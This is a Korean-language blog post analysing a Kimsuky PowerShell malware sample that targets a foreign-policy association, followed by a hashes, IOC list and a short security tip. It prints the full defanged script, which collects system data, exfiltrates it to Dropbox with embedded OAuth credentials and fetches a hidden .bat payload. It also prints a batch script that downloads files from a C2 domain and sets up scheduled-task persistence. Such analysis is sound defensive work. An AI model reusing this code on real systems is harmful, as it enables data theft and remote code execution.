김수키(Kimsuky) 외교광장.ps1 악성코드 분석 및 보안 수칙 ESET 탐지 PowerShell/Kimsuky.AX

오늘은 사단법인 외교광장 를 노리는 악성코드-외교광장.ps1(2025.7.28) 에 대해서 글을 적어보겠습니다. 일단 해당 악성코드는 PowerShell 코드로 이루어져 있으며 감염된 PC에서 정보를 수집해 Dropbox로 유출하고, Dropbox에서 2차 페이로드(.bat)를 받아 실행하는 것이 목적인 악성코드입니다. 일단 해당 단체를 처음 들어 보아서 일단 혹시나 해서 알고 있을 것 같은 분에서 물어봐도 처음 듣는 곳이라고 하네요. 그래서 저도 나름 무엇일까? 해서 조사를 해보니 사단법인 이사장의 이름을 근거로 찾아보니 조X혁신당 비례대표 김XX 의원이었습니다.
왜~여기를 노렸을까? 생각을 해서 보니 
조x혁신당 외교전략특별위원장
조X혁신당 대표 권한대행
조X혁신당 외교안보특별위원장
대충 애네들이 왜 공격을 하려고 했는지 알고 같기도 하고…. 일단 저는 악성코드에 정치하고 관련되지 않으려고 그냥 순수하게 분석을 할 것입니다.
해시
파일명:외교광장.ps1
사이즈:1 MB
MD5:8ef331da6a71931c8843488c6d13a1a2
SHA-1:3f0a89e8b1d4ab1b901c3bce93a8eae460ff1420
SHA-256:89a6d3392668ba1b765a5ebcc8ac5045fffe8b6ef431004cba352868424a5cc3

악성 PowerShell 코드

악성 PowerShell 코드

param(
[switch]$AllowSharedFolder
)
function Download-DropboxFile {
    [CmdletBinding()]
    Param(
        [parameter(Mandatory(,)ParameterSetName="Path")]
        [string]$Dropbo(x)Path,
        [parameter(Mandato(r)y,ParameterSetName="Id")]
        [string]$Id,
        [parameter((M)andatory,Para(m)eterSetName="Revision")]
        [string]$Re(v)ision,
        [parameter(Man(d)atory)]
        [string]$Out(F)ile,
        [parameter(Mand(a(t)ory,HelpMessage="Enter access token")]
        [string]$To(k)en,
        [string]$Selec(t)User
    )
    Begin{
        $URI='hxxps://con'(+)'tent(.)dropb'(+)'oxapi(.)com/2/files/dow'(+)'nload'
        $Header=@{"Author(i)zation"="Bearer $Token"}
        if ($Selec(t)User){
            $Memb(e)rID = (Get-DropboxMemb(e)rInfo -Member(E)mail $SelectUser).team_member_id
            $Header.add("Dropbox-API-Selec(t)-User",$MemberId)
        }
    }
    Process{
        switch ($PSCmdl(e)t.ParameterSetName) {
            "Path" {
                $Body=@{pat(h)=$DropboxPath}
            }
            "Id" {
                $Body=@{p(a)th=$Id}
            }
            "Revision" {
                $Body=@{(p)ath=$Revision}
            }
        }
        $Header.Add("Drop(b)ox-API-Arg",($Bo(d)y | Convert(T)o-Json -Compress))
        
        try {
            $Result = Invoke-RestM(e)thod -Uri $URI -Met(h)od Post -Headers $Hea(d)er -OutFile $OutF(i)le -Cont(e)ntType "applic(a)tion/octet-stream"
            #Write-Outp(u)t $Result
	    return $true
        } catch {
            #$ResultErr(o)r = $_.Except(i)on.Response.GetResponseStream()
            #Get-DropboxError -Result $Res(u)ltError
	    #Write-Output "err!"
	    return $false
        }
    }
    End{}
}

$ooTkReqPar = @{
	    grant_type    = "re(f)resh_token"
	    refresh_token = "iUPmF(P0)(0)K-HcAAAAAAAAAAUn2al_(t)pIVg_GqzVKP(m)27Q3IYlYX80O
        EDrbq7hZIFUB";
	    client_id     =  "75mc2yh(n)s7tfcad"
	    client_secret = "q4bbqp(n)c5g2d85l"
	}
$iii = "jhb";
$dt = Get-Date -Format "yyyy_MM_dd__HH_mm"
$ooSP = "C:\Users\public\documents\"(+)"tmp(.)ini"
$pl = Get-Process 
$ooosss = [System(.)Environment]::OSVersion
$iip = ((& "nslookup" "myip.opendns.com" "208(.)67(.)222(.)220") |select -last 2)[0].Trim("Addre(s)s:").Trim()
$aaav = Get-CimInstance -Names(p)ace root/Sec(u)rityCenter2 -ClassName Antiv(i)rusProduct
$rrrsss = $pl + $oo(o)sss + $iip + $aaav
$rrrsss | Out-File -(F)ilePath $ooSP

$qwa = "hxxps://a" (+)"pi(.)dr" + "opb(o)xa" + "pi(.)com/oau" (+0 "th2/to" (+) "ken"
$myttto = Invoke-Rest(M)ethod -Uri $qwa -Method Post -Body $ooTkReqPar
$ooAccTK = $myttto.ac(c0ess_token
$outputFile = Split-P(a)th $ooSP -leaf
$tttttffffppp="/$iii"(+)"_" + $dt+"_info.ini"
$arg = '{ "path": "' + ($)tttttffffppp (+) '", "mode": "add", "auto(r)ename": true, "mut(e)": false }'
$authorization = "Bearer " (+) $ooAccTK
$headers = New-Object "System(.)Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("(A)uthorization", $authorization)
$headers.Add("Dro(p)box-API-Arg", $arg)
$headers.Add("Conten(t)-Type", 'application/octet-stream')
$urrrr = "hxxps://content(.)(d)r"(+)"op"+"boxa"+"pi(.)com/2/f" + "iles/uplo" (+) "ad";
Invoke-RestMethod -Uri $urrrr -Metho(d) Post -InFile $ooSP -Headers $headers
Remove-Item -Path $ooSP
$dnTKF = "/$iii"+"_te(s)t.db"
$dstPath = "C:\Use"(+)"rs\Pub"(+)"lic\Mus"+"ic\po.ba"+"t"
$rtn = Download-DropboxFile -Drop(b)oxPath $dnTKF -OutFile $dstPath -Token $ooAccTK

$headers = @{
       "Authorization" = "Bearer $ooAccTK"
       "Content-Type" = "application/json"
   }
if($rtn -eq $true)
{
	$apiUrl = "hxxps://a"(+)"pi(.)dropb"+"oxapi(.0com/2/files/m"(+)"ove_v2"
	$frompath=$dnTKF
	$topath=$dnTKF(+)"_sent"
	$appTemp = "false"
	$body = @{
	       "allow_own(e)rship_transfer" = $AllowSharedFolder.IsPresent
	       "allow_sha(r)ed_folder" = $AllowSharedFolder.IsPresent
	       "autorename" = $A(l)lowSharedFolder.IsPresent
	       "from_path" = $fr(o)mpath
	       "to_path" = $to(p)ath
	   }
	$bodyJson = $body | ConvertTo-Json
	Invoke-RestMethod -Meth(o)d Post -Uri $apiUrl -Headers $headers -Body $bodyJson
	$oo00 = "/c " + $ds(t)Path
	$ooEE = "cmd.e"(+)"xe"

	Start-Process $ooE(E) $oo00 -WindowStyle Hidden
}

PowerShell 악성코드 분석

악성 스크립트

1.Dropbox 다운로드 준비
Download-DropboxFile은 hxxps://content(.)dropboxapi(.)com/2/files/download에 Authorization: Bearer <token> 과 Dropbox-API-Arg: {path: ...}를 전송
2. 정보 수집
실행 중인 프로세스: Get-Process
OS 버전:[System.Environment]::OSVersion
공인 IP:nslookup myip(.)opendns(.)com 208(.)67(.)222(.)220
백신 제품:Get-CimInstance root/SecurityCenter2 AntivirusProduct
이것들을 합쳐 C:\Users\Public\Documents\tmp(.)ini 에 기록
3.Dropbox 액세스 토큰 발급
access_token 추출 이후 API 호출에 사용
4.호스트 정보 Dropbox로 유출
로컬 파일은 Remove-Item으로 삭제
5.페이로드 다운로드 및 숨김 실행
Dropbox에서: /jhb_test(.)db
로컬:C:\Users\Public\Music\po(.)bat
성공 시:
원격 파일을 /jhb_test(.)db_sent로 이동
숨김 모드 실행:
IOC
도메인/URL
hxxps://api(.)dropboxapi(.)com/oauth2/token
hxxps://content(.)dropboxapi(.)com/2/files/upload
hxxps://content(.)dropboxapi(.)com/2/files/download
hxxps://api(.)dropboxapi(.)com/2/files/move_v2
DNS:myip(.)opendns(.)com via 208(.)67(.)222(.)220
로컬 경로
C:\Users\Public\Documents\tmp(.)ini (생성 후 삭제됨)
C:\Users\Public\Music\po(.)bat
실행:cmd.exe(숨김)
Dropbox 경로
/jhb_<timestamp>_info(.)ini (유출 파일)
/jhb_test(.)db->/jhb_test(.)db_sent
내장된 자격 증명
client_id=75m(c)2yhns7tfcad
client_secret=q4(b)bqpnc5g2d85l
refresh_token=iUPmF(P)0K-Hc(A)AAAAAAAAAUn2al_tpIVg_GqzVK(P)m27Q3IYlYX80OEDrbq7hZIFUB

악성 스크립트

curl -k -o %~dp0default0" "hxxps://koreadiplomacyplaza(.)kro(.)kr/pprb/pm/d(.)php?newpa=myapp"
curl -k -o "%~dp0default1" "hxxps://koreadiplomacyplaza(.)kro(.)kr/pprb/pm/d(.0php?newpa=myappfest"
curl -k -o "%~dp0default2" "hxxps://koreadiplomacyplaza(.)kro(.)kr/pprb/pm/d(.)php?newpa=attach"
curl -k -o "%~dp0default3" "hxxps://koreadiplomacyplaza(.)kro(.)kr/pprb/pm/d(.)php?newpa=sch"
schtasks /create /tn Transt_Feed_Synchronization-{0DDC1BD9-E733-425C-B92B-ABAC149AB11264} /xml "%~dp0default3" /
copy /Y "%~dp0default0" "c:Wusers₩publicWvideos₩pm.exe"
copy /Y "%~dp0default1" "c:Wusers₩publicWvideos₩pm.exe.manifest"
copy /Y "%~dp0default2" "c:Wusers₩publicWvideos₩1.ps1"

악성 스크립트 분석

원격 C2(koreadiplomacyplaza(.)kro(.)kr)에서 여러 파일을 내려받아 로컬에 저장하고 악성 행위 동작
1.실행 파일 및 관련 리소스를 C:\Users\Public\Videos\ 에 복사
2. 스케줄러 작업(schtasks)을 생성해 컴퓨터 실행시 지속성 확보
3.추가 PowerShell 스크립트를 심어 실행할 준비
1.파일 다운로드 (curl 사용)
-k:SSL 인증서 무시
%~dp0:현재 스크립트가 실행되는 디렉터리 경로
결과적으로 default0~default3 네 개 파일을 같은 폴더에 다운로드
default0:실행 파일 (myapp)
default1:manifest
default2:PowerShell 스크립트
default3:스케줄러 XML
2.스케줄러 작업 생성
Transt_Feed_Synchronization-{GUID} 라는 이름의 작업을 생성
/xml default3->다운로드한 XML을 스케줄러 작업 정의로 사용
지속성을 확보하는 전형적인 기법
3.다운로드 파일 복사
악성 파일을 C:\Users\Public\Videos\ 폴더에 저장
실행 파일:pm(.)exe
매니페스트:pm(.)exe
manifest
PowerShell 스크립트:1(.)ps1
일단 더 정확한 동작을 하려면 exe 파일 이 필요는 한데 해당 파일을 확보를 못 해서 더는 진행이 되지 않으면 kro(.)kr 도메인을 피싱 사이트로 많이 이용을 하는 것 같은데 이번에는 악성코드 경로를 사용한 것은 처음 보기도 합니다.
악성코드 목적
프로세스 세부 정보, OS 버전, 공용 IP 주소, 바이러스 백신 제품 정보 등 시스템 정보를 수집하여 임시 파일(tmp.ini)에 저장데이터 유출을 목적으로 데이터를 수집 목적
시스템 정보를 수집하고 임시 파일을 Dropbox에 업로드
Dropbox에서 특정 파일을 다운로드하려고 시도 성공하면 해당 파일을 새 위치로 이 동이는 피해자 시스템의 파일을 조작하기 위한 목적?
아무튼, 북한 김수키(Kimsuky)는 최근 이곳저곳을 다 노리는 것 같기도 한데…. 일단은 이제는 보수, 진보이든 다 노리는 것 같은 느낌이……
아무튼, 기본적인 보안 수칙을 잘 지키시는 방법밖에 없으며 일단 의심스러운 파일은 가상 환경 만들어서 스냅 샷 잘 찍고 해당 의심 파일을 실행하는 방법도 있습니다.
이렇게 간단하게 해당 악성코드를 분석해 보았습니다.